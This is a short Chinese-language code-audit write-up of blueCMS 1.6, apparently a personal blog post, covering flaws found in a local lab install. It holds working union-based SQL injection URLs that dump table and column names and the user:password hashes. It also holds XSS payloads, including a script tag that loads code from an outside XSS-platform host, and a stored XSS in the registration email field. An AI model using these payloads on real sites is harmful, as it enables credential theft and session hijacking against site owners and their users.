blueCMS 1.6 代码审计
seay源代码审计系统
seay下载地址:https://github.com/f1tz/cnseay
https://www.cnblogs.com/KnowingFish/articles/19222195

/ad_js.php 中的 SQL 注入
代码审计

可以在 seay 中通过点击看代码,个人比较喜欢通过 vscode 来看
输入点: $_GET['ad_id']
输出点: document.write()
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
echo "<!--\r\ndocument.write(\"".$ad_content."\");\r\n-->\r\n";

复现
输入点: $_GET['ad_id']
输出点: document.write(),在Elements (元素) 标签中
漏洞路径:http://192.168.0.109/bluecms-master/ad_js.php?ad_id=1
payload:
http://192.168.0.109/bluecms-master/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,(select group_concat(table_name) from information_schema.tables where table_schema=database())
http://192.168.0.109/bluecms-master/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,(select group_concat(column_name) from information_schema.columns where table_name=0x626c75655f75736572)
http://192.168.0.109/bluecms-master/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,(select group_concat(user_name,0x3a,pwd) from blue_user)



用户名和密码:
admin:21232f297a57a5a743894a0e4a801fc3

/ad_js.php 中的 XSS
payload
http://192.168.0.109/bluecms-master/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,<script>alert(1)</script>
http://192.168.0.109/bluecms-master/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,<sCRiPt sRC=//xs.pe/2em></sCrIpT>


自言自语
这里我不明白 xss 的 payload 为什么能执行。
当 AI 说存在 XSS 漏洞并给出 <script>alert(1)</script> 的时候,我认为是不可能的,因为在 sql 注入 paylad 中加 xss 语句,在查询的过程中无法触发 xss 的

来自 c师傅 的解答
我们输入一个错误的语句的时候,bluecms 会返回查询时遇到的报错
在 sql 注入的 payload 中,输入 <script>alert(1)</script> ,数据库报错的内容会返回给网页
网页识别到 <script>alert(1)</script> 的时候,就会执行HTML标签其中的代码
结论:这个 xss 是数据库返回报错在网页中,网页遇到 <script> 标签执行了标签内的代码,造成了xss,和 sql 注入无关
http://192.168.0.109/bluecms-master/ad_js.php?ad_id=-112345{}<script>alert(1)</script>
Error:Query error:SELECT * FROM blue_ad WHERE ad_id =-112345{}

/user.php?act=reg 存在 XSS
在邮箱输入payload:
123@qq.com<script>alert(1)</script>



/include/common.fun.php


好多洞,累了,先放着吧
浙公网安备 33010602011771号